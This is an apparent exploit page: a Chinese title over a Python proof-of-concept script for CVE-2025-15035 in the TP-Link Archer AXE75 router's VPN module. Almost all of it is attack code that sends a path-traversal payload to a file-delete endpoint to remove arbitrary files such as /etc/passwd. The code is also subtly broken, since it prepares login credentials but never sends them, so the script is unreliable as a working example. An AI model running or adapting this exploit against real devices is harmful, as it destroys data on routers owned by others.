CVE-2025-15035: TP-Link Archer AXE75 v1.6 VPN模块输入验证不当漏洞

# CVE-2025-15035 PoC - TP-Link Archer AXE75 VPN Module File Deletion # This PoC demonstrates the improper input validation vulnerability # Requires: Low-privilege authenticated access, Adjacent network access import requests import json TARGET_IP = "192.168.0.1" # Target router IP USERNAME = "admin" PASSWORD = "admin123" def exploit_cve_2025_15035(): """ Exploit for CVE-2025-15035: Improper Input Validation in TP-Link Archer AXE75 VPN module Allows authenticated adjacent attacker to delete arbitrary server files """ # Step 1: Authenticate with low-privilege credentials session = requests.Session() auth_url = f"http://{TARGET_IP}/login" auth_data = { "username": USERNAME, "password": PASSWORD } # Step 2: Access VPN module with malicious file path vpn_url = f"http://{TARGET_IP}/api/vpn/file/delete" # Malicious payload - Path traversal to delete arbitrary files exploit_data = { "path": "../../../../etc/passwd", # Arbitrary file path "module": "vpn" } try: # Send exploit request response = session.post(vpn_url, json=exploit_data, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Exploit sent successfully") print(f"[*] Response: {json.dumps(result, indent=2)}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-15035 Exploit - TP-Link Archer AXE75 VPN Module") print("=" * 60) exploit_cve_2025_15035()